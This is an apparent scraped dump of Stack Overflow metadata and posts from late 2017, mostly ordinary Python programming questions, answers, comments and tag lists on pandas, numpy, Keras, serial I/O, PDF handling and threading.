has body: Change the dictionary to, kwargs = dict(delimiter=';', dtype=np.str, skip_header=11, usecols= range(1,14), missing_values = "#N/A", filling_values = "0", comments=None) Now, this should work. However, I'm not sure why you're using columns 1-13 when there are only columns from 0-12.
type: Answer
accepted answer of: http://stackoverflow.com/q/47224216
has comment: http://stackoverflow.com/comment/81400979
answers question: http://stackoverflow.com/q/47224216
score: 0

http://stackoverflow.com/q/47296713
score: 1
linked to: http://stackoverflow.com/q/12996118
favorite count: 0
has comment: http://stackoverflow.com/comment/81544915
has body: I want to pickle all objects in my Python code at once without having to pickle them individually. I managed to pickle individual classes, but I was having problems when pickling globals(). If I understand globals() correctly, then it is all objects and information put into a dictionary, right? So I tried pickling globals() like this: with open('mypickle.pickle', 'wb') as f: pickle.dump(globals(), f) and I got the error: Traceback (most recent call last): File "&lt;pyshell#5&gt;", line 2, in &lt;module&gt; pickle.dump(globals(), f) _pickle.PicklingError: Can't pickle &lt;class 'module'&gt;: attribute lookup module on builtins failed Any ideas why I am getting this error, and is there some better way of pickling the entire session besides globals? I want to keep running this script multiple times, and each time it is run it can get back to where it left off.
has comment: http://stackoverflow.com/comment/81544948
type: Question
duplicate of: http://stackoverflow.com/q/12996118
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81545020
has comment: http://stackoverflow.com/comment/81545009
has title: Pickling all objects in python at once using globals()
answer count: 0
has comment: http://stackoverflow.com/comment/81545119
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47230546
has answer: http://stackoverflow.com/a/47230678
favorite count: 0
has comment: http://stackoverflow.com/comment/81413913
has answer: http://stackoverflow.com/a/47230625
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47230653
tagged with: filter
tagged with: pandas
has comment: http://stackoverflow.com/comment/81413686
tagged with: python
tagged with: mask
has answer: http://stackoverflow.com/a/47230638
score: 1
tagged with: slice
possible better answer: http://stackoverflow.com/a/47230625
answer count: 4
type: Question
has comment: http://stackoverflow.com/comment/81413647
upvote count: 2
has title: Make a Pandas mask based on a column vector
accepted answer: http://stackoverflow.com/a/47230678
has comment: http://stackoverflow.com/comment/81413590
has body: I have a given dataframe and I would like for each line to be able to select the values that are above the line's given percentile. Let's consider this dataframe: df = pd.DataFrame({'A' : [5,6,3,4, 0,5,9], 'B' : [1,2,3, 5,7,0,1]}) A B 0 5 1 1 6 2 2 3 3 3 4 5 4 0 7 5 5 0 6 9 1 And a given vector of the 20th quantiles for each row: rowsQuantiles = df.quantile(0.2, axis=1) 0 1.8 1 2.8 2 3.0 3 4.2 4 1.4 5 1.0 6 2.6 I would like to be able to filter-out for each row the values that are below the row's quantile in to have the following result: quantileMask = df &gt; rowsQuantiles A B 0 True False 1 True False 2 False False 3 False True 4 False True 5 True False 6 True False EDIT: I really liked both approaches by @andrew_reece and @Andy Hayden, so I decided to see which one was the fastet/best-implemented: N=10000000 df = pd.DataFrame({'A' : [random.random() for i in range(N)], 'B' : [random.random() for i in range(N)]}) rowsQuantiles = df.quantile(0.2, axis=1) t0=time.time() mask=(df.T&gt;rowsQuantiles).T #mask=df.apply(lambda row: row &gt; rowsQuantiles) print(str(time.time()-t0)) Results are pretty straightforward (after several repeted tests): 220ms for mask=(df.T&gt;rowsQuantiles).T 65ms for mask=df.apply(lambda row: row &gt; rowsQuantiles) 21ms for df.gt(rowsQuantiles,0), the accepted answer.
has comment: http://stackoverflow.com/comment/81413935
downvote count: 1

http://stackoverflow.com/q/47235381
tagged with: performance
has body: I'm using the following code to communicate with a Digital Multi Meter (DMM). It works ok. I can send commands and read results. I don't use readline because I read binary data. The problem: The problem is that it is very very slow. Same code written in Ruby is much faster. When it takes 30 sec in python, it takes 2 or 3 sec in ruby (using same speed). So it's not a hardware issue. The only difference between Ruby code and Python is that in Python I use inWaiting() for reading all characters available. In Ruby, read() function reads all of them and not just one. The code: Here's the code: In read_retry function I check how many characters I have to read. I read them, and then call data_is_ok function to check if it's finished or not. As you can see, there are '\r' embedded in the data returned. Reading is finished when the last character is '\r' (no more data available). So there's a loop to read numerous chunks. import serial [...] def data_is_ok(data): # No status code yet if len(data) &lt; 2: return False # Non-OK status if len(data) == 2 and data[0] != "0" and data[1] == "\r": return True # Non-OK status with extra data on end if len(data) &gt; 2 and data[0] != "0": raise ValueError('Error parsing status from meter (Non-OK status with extra data on end)') # We should now be in OK state if data[0] != "0" or data[1] != "\r": raise ValueError('Error parsing status from meter (status:%c size:%d)' % (data[0], len(data))) return len(data) &gt;= 4 and data[-1] == "\r" def read_retry(): retry_count = 0 data = "" while retry_count &lt; 500 and not data_is_ok(data): bytesToRead = ser.inWaiting() data += ser.read(bytesToRead) if data_is_ok(data): return data time.sleep (0.001) retry_count += 1 raise ValueError('Error parsing status from meter: %c %d %r %r' % (data[0],len(data),data[1] == '\r', data[-1] == '\r')) [...] # Serial port settings try: ser = serial.Serial(port='/dev/cu.usbserial-AK05FTGH', baudrate=115200, bytesize=8, parity='N', stopbits=1, timeout=5, rtscts=Fal…
accepted answer: http://stackoverflow.com/a/47235876
has comment: http://stackoverflow.com/comment/81421755
score: 7
tagged with: python
has title: Python serial read is extremely slow, how to speed up?
type: Question
has comment: http://stackoverflow.com/comment/81421388
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/47235876
possible better answer: http://stackoverflow.com/a/59694170
upvote count: 7
has comment: http://stackoverflow.com/comment/81422066
has answer: http://stackoverflow.com/a/47235719
has answer: http://stackoverflow.com/a/59694170
has comment: http://stackoverflow.com/comment/81421561
has comment: http://stackoverflow.com/comment/81421213
favorite count: 0
type: AnsweredQuestion

http://stackoverflow.com/comment/81470577
comment on: http://stackoverflow.com/q/47254299
score: 1
type: Comment
type: QuestionComment
has text: I would guess that the time limit "knows" how big-O works, ie that's it's an asymptotic thing. So it would somehow get an estimate for how long your solution takes for n, then see you do on 100n or something like that. And use an n that's large enough that setup costs don't matter.

http://stackoverflow.com/comment/81660566
comment on: http://stackoverflow.com/q/47354075
has text: You can have only 1 `Tk()` instance in a program. If that `Tk()` is terminated, it normally means termination of the entire program. You can pack a new Entry widget to master and call `update()`.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47246446
linked to: http://stackoverflow.com/q/43356785
tagged with: qt
type: AnsweredQuestion
score: 1
tagged with: matplotlib
tagged with: pyside
answer count: 1
has title: Unable to redraw the matplot inside Qt application
tagged with: python
favorite count: 0
type: Question
tagged with: pyqt4
has body: I want to call draw() method of matplotlib, which is used to update a figure that has been altered but not atomically re-drawn. Please note that the plot has been built inside QT application. Below is the error trace: Traceback (most recent call last): File "/usr/local/lib/python2.7/dist-packages/matplotlib/cbook/__init__.py", line 389, in process proxy(*args, **kwargs) File "/usr/local/lib/python2.7/dist-packages/matplotlib/cbook/__init__.py", line 227, in __call__ return mtd(*args, **kwargs) File "matplotlib_qt.py", line 43, in mouseClick self.myMplCanvas.fig.draw() TypeError: draw_wrapper() takes at least 2 arguments (1 given) In standalone matplotlib application, the draw method can easily be called as below: import matplotlib.pyplot as plt fig = plt.figure() # plot here and change plot variables later # now re-draw it plt.draw() Below is the complete QT application code: import sys from matplotlib.backends import qt_compat use_pyside = qt_compat.QT_API == qt_compat.QT_API_PYSIDE if use_pyside: from PySide import QtGui, QtCore else: from PyQt4 import QtGui, QtCore from matplotlib.backends.backend_qt4agg import FigureCanvasQTAgg as FigureCanvas from matplotlib.figure import Figure import matplotlib.image as mpimg class MyMplCanvas(FigureCanvas): def __init__(self, parent=None, width=5, height=4, dpi=100): self.fig = Figure(figsize=(width, height), dpi=dpi) self.axes = self.fig.add_subplot(111) img = mpimg.imread('stinkbug.png') lum_img = img[:, :, 0] self.axes.imshow(lum_img) FigureCanvas.__init__(self, self.fig) self.setParent(parent) FigureCanvas.setSizePolicy(self, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding) FigureCanvas.updateGeometry(self) class ApplicationWindow(QtGui.QMainWindow): def __init__(self): QtGui.QMainWindow.__init__(self) self.setAttribute(QtCore.Qt.WA_DeleteOnClose) self.setWindowTitle("application main window") self.main_widget = QtGui.QWidget(self) l = QtGui.QVBoxLayout(self.main_widget) self.myMplCanvas = MyMplCanvas(self.main_…
downvote count: 0
accepted answer: http://stackoverflow.com/a/47247476
upvote count: 1
has answer: http://stackoverflow.com/a/47247476

http://stackoverflow.com/comment/81532518
type: Comment
type: QuestionComment
has text: It worked! Thank you @Rawing !! :D
comment on: http://stackoverflow.com/q/47290889
score: 0

http://stackoverflow.com/q/47339043
has body: I'm using Python FPDF to generate pdf. The pdf generally contains text followed by images followed by text and so on. But the cells that contains text are overlapping with the images above them. I tried to calculate image length and pass that to set_y for next cell to avoid overlapping, still no luck. So I tried using get_y() but it returns the 'y' value of previous text cell instead of the bottom of the image. So how can I get the 'y-coordinate' of the bottom of the image ?
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/73702348
tagged with: python
tagged with: fpdf
score: 2
upvote count: 2
type: UnansweredQuestion
has title: get_y() value of the image bottom in fpdf in python
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/81427973
comment on: http://stackoverflow.com/q/47238822
has text: BTW, you `elif` logic is wrong. Eg, `elif (noPeople >= 16) or (noPeople <= 35):` is true for _all_ values of `noPeople <= 35`. So that should be `elif (noPeople >= 16) and (noPeople <= 35):`. But there's an even better way: `elif 16 <= noPeople <= 35:`
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47228270
type: AnsweredQuestion
has title: How to convert 2d array into format that keras+LSTM needs
score: 0
accepted answer: http://stackoverflow.com/a/47228447
has answer: http://stackoverflow.com/a/47228447
tagged with: tensorflow
has body: I have a 5000 by 9 2d numpy array of features trainX which are the features of a time sequence. I also have a 1d numpy array of floating point feature labels trainY. This is exactly the format you would need for scikit-learn for example. I would like to use these with keras+LSTM. This is my code at present: NUM_EPOCHS = 20 model = Sequential() model.add(LSTM(8, input_shape=(1, window_size))) model.add(Dense(1)) model.compile(loss='mean_squared_error', optimizer='adam') model.fit(trainX, trainY, epochs=NUM_EPOCHS, batch_size=1, verbose=2) However this doesn't work as keras needs trainX in a different format it seems. I have read the manual but I can't understand what this is exactly. How can I convert my data into a format that keras will accept?
type: Question
answer count: 1
tagged with: machine-learning
tagged with: python
tagged with: keras

http://stackoverflow.com/comment/81723735
score: 0
comment on: http://stackoverflow.com/a/47381572
type: Comment
type: AnswerComment
has text: @VPfB Thank you for this complete answer. Will try to implement this one.

http://stackoverflow.com/comment/81460068
score: 0
comment on: http://stackoverflow.com/q/47251095
type: Comment
type: QuestionComment
has text: Are you following a tutorial for this? If so, could you link to it? The problem is with your `http.get` call. It's not sending a request to your Python script, it's just getting the contents of the script and displaying that.

http://stackoverflow.com/a/47227084
has comment: http://stackoverflow.com/comment/81404700
has comment: http://stackoverflow.com/comment/81407676
answers question: http://stackoverflow.com/q/47227002
type: Answer
has comment: http://stackoverflow.com/comment/81404735
score: 0
has comment: http://stackoverflow.com/comment/81407355
has body: for filling with last available value, try, df["Number"]=df["Number"].bfill()

http://stackoverflow.com/q/47274456
answer count: 1
has comment: http://stackoverflow.com/comment/81500246
tagged with: dataframe
has comment: http://stackoverflow.com/comment/81517669
has comment: http://stackoverflow.com/comment/81517445
has comment: http://stackoverflow.com/comment/81561299
has title: Ordering a Dataframe in Pandas
has comment: http://stackoverflow.com/comment/81536810
has body: I would like to order the dataframe according to the Op.progressPercentage and averaging the eventTimes as in the following: Input df: uuid,eventTime,Op.progress,Op.progressPercentage, AnotherAttribute C0972765-8436-0000-0000-000000000000,2017-08-19T12:52:39,P,3.0,01:57:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:53:18,P,4.0,01:55:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:53:49,P,5.0,01:55:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:53:55,P,3.0,01:56:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:55:07,P,6.0,01:54:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:55:24,P,5.0,01:54:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:55:27,P,6.0,01:53:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:33:46,W,40.0,01:13:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:40:10,N,51.0,02:00:00 Output df: uuid,eventTime,Op.progress,Op.progressPercentage, AnotherAttribute C0972765-8436-0000-0000-000000000000,2017-08-19T12:52:39,P,3.0,01:57:00 C0972765-8436-0000-0000-000000000000,avg(12:52:39,12:53:18),P,3.0,01:56:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:53:18,P,4.0,01:55:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:53:49,P,5.0,01:55:00 C0972765-8436-0000-0000-000000000000,avg(12:53:49,212:55:55),P,5.0,01:54:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:55:07,P,6.0,01:54:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:55:27,P,6.0,01:53:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:33:46,W,40.0,01:13:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:40:10,N,51.0,02:00:00 The Op.progressPercentage should be always monotonic crescent as well as eventTime. Please, any help on this would be very appreciated. Best Regards, carlo
has comment: http://stackoverflow.com/comment/81501001
has comment: http://stackoverflow.com/comment/81500160
tagged with: python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47275434
type: Question
tagged with: pandas
score: 0

oauth-2.0
type: Tag
tag name: oauth-2.0
tags question: http://stackoverflow.com/q/47340311
tags question: http://stackoverflow.com/q/47290852
tags question: http://stackoverflow.com/q/47279862
tags question: http://stackoverflow.com/q/47307998

http://stackoverflow.com/comment/81537753
comment on: http://stackoverflow.com/q/47283832
score: 1
has text: This approach with testing if all components are not negative doesn't work since it is possible to have mixed positive and negative values e.g. relativedelta(seconds+5, microseconds=-12345).
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81427190
type: AnswerComment
score: 0
has text: Using `.notnull` is perfect. Ideally I would only be working with `df` and skip `dfb` as the latter was merely a workaround. Can you comment (or modify your answer) so that I can make this directly changing the `binaryvars` in `df`?
type: Comment
comment on: http://stackoverflow.com/a/47237894

http://stackoverflow.com/comment/81402407
comment on: http://stackoverflow.com/q/47223750
has text: i am updating the code now
score: 0
type: Comment
type: QuestionComment

relationship
tag name: relationship
type: Tag
tags question: http://stackoverflow.com/q/47310144
tags question: http://stackoverflow.com/q/47337850

http://stackoverflow.com/a/47334676
downvote count: 0
has body: You can't. Neither the Tkinter LabelFrame nor the ttk LabelFrame support associating a variable with the widget. If what you're really asking is how can you change the label, then you can use the configure method: self.selectionFrame.configure(text="hello")
score: 2
accepted answer of: http://stackoverflow.com/q/47334592
has comment: http://stackoverflow.com/comment/81732311
type: Answer
answers question: http://stackoverflow.com/q/47334592
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/81663472
type: Comment
type: QuestionComment
has text: How do I make this window open with the image being a priority on the screen? Sometimes it opens behind other programs @StevoMitric
comment on: http://stackoverflow.com/q/47355238
score: 0

machine-learning
type: Tag
tags question: http://stackoverflow.com/q/47277279
tags question: http://stackoverflow.com/q/47278178
tags question: http://stackoverflow.com/q/47305059
tags question: http://stackoverflow.com/q/47358821
tags question: http://stackoverflow.com/q/47296969
tags question: http://stackoverflow.com/q/47228270
tags question: http://stackoverflow.com/q/47277410
tags question: http://stackoverflow.com/q/47294900
tags question: http://stackoverflow.com/q/47342917
tags question: http://stackoverflow.com/q/47305473
tags question: http://stackoverflow.com/q/47273739
tags question: http://stackoverflow.com/q/47299665
tags question: http://stackoverflow.com/q/47320412
tags question: http://stackoverflow.com/q/47370224
tags question: http://stackoverflow.com/q/47274356
tags question: http://stackoverflow.com/q/47372626
tags question: http://stackoverflow.com/q/47302085
tags question: http://stackoverflow.com/q/47251594
tags question: http://stackoverflow.com/q/47313965
tags question: http://stackoverflow.com/q/47370218
tags question: http://stackoverflow.com/q/47364978
tags question: http://stackoverflow.com/q/47227727
tags question: http://stackoverflow.com/q/47315508
tags question: http://stackoverflow.com/q/47361513
tags question: http://stackoverflow.com/q/47291987
tags question: http://stackoverflow.com/q/47370872
tags question: http://stackoverflow.com/q/47227877
tags question: http://stackoverflow.com/q/47371940
tags question: http://stackoverflow.com/q/47313721
tags question: http://stackoverflow.com/q/47289675
tags question: http://stackoverflow.com/q/47372685
tags question: http://stackoverflow.com/q/47298172
tags question: http://stackoverflow.com/q/47280743
tags question: http://stackoverflow.com/q/47346809
tags question: http://stackoverflow.com/q/47273152
tags question: http://stackoverflow.com/q/47334524
tags question: http://stackoverflow.com/q/47370240
tags question: http://stackoverflow.com/q/47254262
tags question: http://stackoverflow.com/q/47341320
tags question: http://stackoverflow.com/q/47313712
tags question: http://stackoverflow.com/q/47352366
tags question: http://stackoverflow.com/q/47316912
tags question: http://stackoverflow.com/q/47377222
tags question: http://stackoverflow.com/q/47369861
tags question: http://stackoverflow.com/q/47357431
tags question: http://stackoverflow.com/q/47321665
tags question: http://stackoverflow.com/q/47367383
tags question: http://stackoverflow.com/q/47373183
tags question: http://stackoverflow.com/q/47295025
tags question: http://stackoverflow.com/q/47373421
tags question: http://stackoverflow.com/q/47276761
tags question: http://stackoverflow.com/q/47226783
tags question: http://stackoverflow.com/q/47380082
tags question: http://stackoverflow.com/q/47241525
tags question: http://stackoverflow.com/q/47373263
tags question: http://stackoverflow.com/q/47379246
tag name: machine-learning
tags question: http://stackoverflow.com/q/47370985
tags question: http://stackoverflow.com/q/47301484
tags question: http://stackoverflow.com/q/47353479
tags question: http://stackoverflow.com/q/47313765
tags question: http://stackoverflow.com/q/47331336
tags question: http://stackoverflow.com/q/47321709
tags question: http://stackoverflow.com/q/47378900
tags question: http://stackoverflow.com/q/47300418
tags question: http://stackoverflow.com/q/47279687
tags question: http://stackoverflow.com/q/47272971
tags question: http://stackoverflow.com/q/47344065
tags question: http://stackoverflow.com/q/47269630
tags question: http://stackoverflow.com/q/47378225
tags question: http://stackoverflow.com/q/47367466
tags question: http://stackoverflow.com/q/47295473
tags question: http://stackoverflow.com/q/47370795
tags question: http://stackoverflow.com/q/47296161
tags question: http://stackoverflow.com/q/47305618
tags question: http://stackoverflow.com/q/47243903
tags question: http://stackoverflow.com/q/47340607
tags question: http://stackoverflow.com/q/47243202
tags question: http://stackoverflow.com/q/47248863

http://stackoverflow.com/comment/81692591
comment on: http://stackoverflow.com/q/47369004
has text: I did import the file where the player class is located. The file is called sprites, and I have imported it using ' from sprites import * ' in test.py `from sprites import *`
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47368706
has comment: http://stackoverflow.com/comment/81691082
has comment: http://stackoverflow.com/comment/81690520
has comment: http://stackoverflow.com/comment/81690598
has comment: http://stackoverflow.com/comment/81691044
has comment: http://stackoverflow.com/comment/81690985
answers question: http://stackoverflow.com/q/47368382
type: Answer
has comment: http://stackoverflow.com/comment/81690942
has comment: http://stackoverflow.com/comment/81690527
score: 2
accepted answer of: http://stackoverflow.com/q/47368382
has body: All the code can be reduced to few lines I mean can be vectorized, so you can get rid of for loops i.e a = pd.Series([0] + df['nodes_2'][df['nodes_2']%2==0].values.tolist()) # Creating series to make use of apply b = a.apply(g.neighbors) n1e ,n2e = df['nodes_1'] % 2 == 0, df['nodes_2'] % 2 == 0 n1o ,n2o = df['nodes_1'] % 2 == 1, df['nodes_2'] % 2 == 1 # Now you want either the nodes_1 be to odd or nodes_2 to be odd but not both, same for even. # Use that as a boolean mask for selecting the data e = df[~((n1e == n2e) &amp; (n1o == n2o))] Output : a.values.tolist() [0, 2, 4, 6, 8, 10, 12, 14] b.values.tolist() [[1, 2], [0, 5, 6], [1, 10, 9], [2, 13, 14], [3], [4], [5], [6]] e.values.tolist() [[0, 1], [1, 4], [2, 5], [3, 8], [4, 9], [5, 12], [6, 13]] You can take the vectroized code and place it under the respective conditions (boolean values) given by the user. Updating e based on the condition to keep odd at end and even in the begining i.e e = [[i[0],i[1]] if i[0]%2 == 0 else [i[1],i[0]] for i in e ] e = pd.DataFrame(e).sort_values(0).values.tolist() [[0, 1], [2, 5], [4, 1], [4, 9], [6, 13], [8, 3], [12, 5]]
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81691036
has comment: http://stackoverflow.com/comment/81690763

http://stackoverflow.com/q/47267881
type: Question
has body: I've installed OpenCV on Linux Mint and I can import it in python (cv_env)➜ cv_env python Python 2.7.6 (default, Oct 26 2016, 20:30:19) [GCC 4.8.4] on linux2 Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import cv &gt;&gt;&gt; import cv2 &gt;&gt;&gt; import numpy &gt;&gt;&gt; import scipy But when I want to see it in pip freeze, it doesn't appear: (cv_env)➜ cv_env pip freeze argparse==1.2.1 caffi==1.0.2 coffee==0.1.0 ffmpeg-python==0.1.6 future==0.16.0 imutils==0.4.3 numpy==1.13.3 pandas==0.20.3 python-dateutil==2.6.1 pytz==2017.2 scipy==0.19.1 six==1.11.0 wsgiref==0.1.2 Also, I tried to import it via PyCharm's Project Interpreter. It wants to installation with pip. (pip install opencv-python and pip install cv2) When I installed that, I followed these steps What is the problem that I cannot see?
tagged with: linux
tagged with: pip
tagged with: python
tagged with: freeze
tagged with: opencv
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47270685
accepted answer: http://stackoverflow.com/a/47270685
has title: pip freeze doesn't show opencv in Linux/Mint
answer count: 1

http://stackoverflow.com/comment/81612966
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47327751
score: 0
has text: I have given a second edit to the question. Please look into the same.

http://stackoverflow.com/q/47272644
tagged with: http://stackoverflow.com/tag/pdf
has comment: http://stackoverflow.com/comment/81506919
type: Question
answer count: 0
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81496938
has comment: http://stackoverflow.com/comment/81526499
has body: The following code has successfully split a large PDF file into smaller PDFs of 2 pages each. However, if I look into one of the files, I see meta-text from others. This is used to split the PDF into smaller ones: import numpy as np from PyPDF2 import PdfFileWriter, PdfFileReader inputpdf = PdfFileReader(open(path+"multi.pdf", "rb")) r=np.arange(inputpdf.numPages) r2=[(r[i],r[i+1]) for i in range(0,len(r),2)] for i in r2: output = PdfFileWriter() output.addPage(inputpdf.getPage(i[0])) output.addPage(inputpdf.getPage(i[1])) with open(path+"document-page %s.pdf" % i[0], "wb") as outputStream: output.write(outputStream) This is used to get the meta-text of one of the resulting files (PyPDF2 will not read it): import pdfx path=path+'document-page 8.pdf' pdf = pdfx.PDFx(path) pdf.get_text() My issues with this are: The process is super slow and all I want is a 10 digit number in the upper-right corner of the first page. Can I somehow just get that part? When looking at the result, it has text from other adjacent pages from the original PDF file (which is why I'm calling it "meta-text"). Why is that? Can this be resolved? Update: pdf.get_references_count() ...shows 20 (there should only be 2) Thanks in advance!
has comment: http://stackoverflow.com/comment/81497074
has comment: http://stackoverflow.com/comment/81497195
has title: Python Splitting PDF Leaves Meta-Text From Other Pages
score: 0

http://stackoverflow.com/q/47226620
answer count: 1
downvote count: 0
tagged with: python-requests
tagged with: amazon-web-services
favorite count: 0
type: Question
has body: I am getting Invalid Request with below error message when trying to create a thing-type using Rest API. I am not using aws-sdk rather python rest client. I followed the steps given here to sign the request using sigv4. The example given there is working for listing the Thing-Types. So the credentials I am using, are correct. Error Message : Response code: 403 {"message":"The request signature we calculated does not match the signature you provided. Check your AWS Secret Access Key and signing method. Consult the service documentation for details."} The code I am using : # See: http://docs.aws.amazon.com/general/latest/gr/sigv4_signing.html # This version makes a POST request and passes request parameters # in the body (payload) of the request. Auth information is passed in # an Authorization header. import sys, os, base64, datetime, hashlib, hmac import requests # pip install requests # ************* REQUEST VALUES ************* method = 'POST' service = 'execute-api' api = 'https://iot.eu-west-2.amazonaws.com/thing-types/GasSensor' request_parameter='{"thingTypeProperties":{"searchableAttributes": ["gas"],"thingTypeDescription":"Devices that reports gas level readings"}}' host = api.split('/')[2] if api.count('/') &gt;= 2 else '' region = api.split('.')[1] if api.count('.') &gt;= 1 else '' endpoint = api.split('?')[0] if api.count('?') &gt;= 0 else api #request_parameters = api.split('?')[1] if api.__contains__('?') else '' # Request parameters for CreateTable--passed in a JSON block. request_parameters = payload print(host + ' $ ' + region + ' $ ' + endpoint + ' $ ' + request_parameters) # Key derivation functions. See: # http://docs.aws.amazon.com/general/latest/gr/signature-v4-examples.html#signature-v4-examples-python def sign(key, msg): return hmac.new(key, msg.encode("utf-8"), hashlib.sha256).digest() def getSignatureKey(key, date_stamp, regionName, serviceName): kDate = sign(('AWS4' + key).encode('utf-8'), date_stamp) kRegion = sign(kDate, regionName) kServ…
accepted answer: http://stackoverflow.com/a/47252241
tagged with: aws-iot
tagged with: python
has title: AWS SigV4 request signature does not match
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47252241
score: 2
upvote count: 2

http://stackoverflow.com/comment/135251143
type: Comment
score: 0
type: AnswerComment
has text: @CamiloMartinezM. Did you ever find the answer to this?
comment on: http://stackoverflow.com/a/47494125

http://stackoverflow.com/q/47289751
favorite count: 0
tagged with: threadpoolexecutor
has body: As a follow up on this question, I have a trivial script which starts a threadpoolexecutor to read in a json file. While doing that I want to it count from 1 to 9 using a for loop. For some reason even though I used executor.shutdown(wait=False) it still blocks and waits for the read_employees method to execute. According to the documentation: If wait is False then this method will return immediately and the resources associated with the executor will be freed when all pending futures are done executing import concurrent.futures import json import time def read_employees(read_file): with open(read_file) as f_obj: employees = json.load(f_obj) for emp in employees: print(emp) time.sleep(3) def start_thread(): filename = 'employee.json' with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor: executor.submit(read_employees, filename) executor.shutdown(wait=False) def print_number(): for num in range(1,10): time.sleep(2) print(num) start_thread() print_number() If I were to do this: def read_employees(read_file): with open(read_file) as f_obj: employees = json.load(f_obj) for emp in employees: time.sleep(5) print(emp) def print_number(): for num in range(1,10): print(num) filename = 'employee.json' empThread = threading.Thread(target=read_employees, args=(filename,)) empThread.start() print_number() It counts from 1 to 9 first and then prints out the employees, the delay is because of sleep while reading the employees. Like so: 1 2 3 4 5 6 7 8 9 ams@yourcompanyname.com bcs@yourcompanyname.com How do I achieve the same output using the threadpoolexecutor without blocking?
upvote count: 8
has answer: http://stackoverflow.com/a/48858775
score: 8
type: Question
has title: Using ThreadPoolExecutor without Blocking
type: UnansweredQuestion
tagged with: python
linked to: http://stackoverflow.com/q/47275734
has answer: http://stackoverflow.com/a/47289955
answer count: 2
tagged with: multithreading
downvote count: 0

http://stackoverflow.com/q/47258441
tagged with: python
tagged with: dictionary
possible better answer: http://stackoverflow.com/a/47258557
accepted answer: http://stackoverflow.com/a/47258542
has title: How do I extend the values of a specific dictionary item with overlapping keys?
has body: So I have a dictionary "db" which equals {('ALI', 'MALE'): [(2011, 200, None), (2012, 200, None), (2013, 200, None), (2014, 200, None), (2015, 200, None)], ('BOB', 'MALE'): [(2012, 200, None), (2013, 200, None), (2014, 200, None)], ('LUKE', 'MALE'): [(2013, 200, None), (2015, 200, None)], ('JEFF', 'MALE'): [(2014, 200, None)]} I need to create a function that takes the database, a name, a gender, a year, a count, and a rank (which may sometimes equal None) and update the dictionary db with the new info. Here is what I have so far. def add_name(db, name, gender, year, count, rank=None): db.update({(name, gender): [(year, count, rank)]}) return None The problem however, is that if I add an item that has a key that already exists in db, say for example "('BOB','MALE')", the .update method will overwrite the values associated with that key and replace them with the values from the function. In the event of keys that overlap, how can I simply append the values instead?
type: AnsweredQuestion
tagged with: list
linked to: http://stackoverflow.com/q/1692388
has answer: http://stackoverflow.com/a/47258557
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/47258558
score: 1
upvote count: 1
duplicate of: http://stackoverflow.com/q/1692388
has answer: http://stackoverflow.com/a/47258542
favorite count: 0
type: Question
tagged with: tuples
tagged with: database

http://stackoverflow.com/a/47335745
upvote count: 2
has comment: http://stackoverflow.com/comment/81623146
downvote count: 0
has comment: http://stackoverflow.com/comment/81623396
answers question: http://stackoverflow.com/q/47335531
score: 2
has comment: http://stackoverflow.com/comment/81623516
type: Answer
has body: Use shift : df['Trend2']=df['Trend'].shift(-1) df['recession']= np.logical_and(df.Trend=='down',df.Trend2=='down') 2007q4 False 2008q1 False 2008q2 False 2008q3 True 2008q4 True 2009q1 True 2009q2 False 2009q3 False 2009q4 False 2010q1 False

http://stackoverflow.com/a/47317102
score: 14
upvote count: 14
type: AcceptedAnswer
downvote count: 0
has body: From NumPy's doc for rfft: Returns: out : complex ndarray The truncated or zero-padded input, transformed along the axis indicated by axis, or the last one if axis is not specified. If n is even, the length of the transformed axis is (n/2)+1. If n is odd, the length is (n+1)/2. It is not written explicitly but the "transformed data" is here complex. From SciPy's doc for rfft z : real ndarray The returned real array contains: [y(0),Re(y(1)),Im(y(1)),...,Re(y(n/2))] if n is even [y(0),Re(y(1)),Im(y(1)),...,Re(y(n/2)),Im(y(n/2))] if n is odd Conclusion: the storage is different. For a starter, look at the length of magnitude, it will be different in both cases. I give an example below for clarity: In [33]: data = np.random.random(size=8) In [34]: np.fft.rfft(data) Out[34]: array([ 3.33822983+0.j , 0.15879369+0.48542266j, 0.00614876+0.03590621j, -0.67376592-0.69793372j, 1.51730861+0.j ]) In [35]: scipy.fftpack.rfft(data) Out[35]: array([ 3.33822983, 0.15879369, 0.48542266, 0.00614876, 0.03590621, -0.67376592, -0.69793372, 1.51730861]) The first element in both cases is the so-called "DC component" (the mean of the signal). Then, you can recognize in the SciPy version the succession of real and imaginary parts of the NumPy version.
accepted answer of: http://stackoverflow.com/q/47307862
type: Answer
answers question: http://stackoverflow.com/q/47307862
has comment: http://stackoverflow.com/comment/81632741
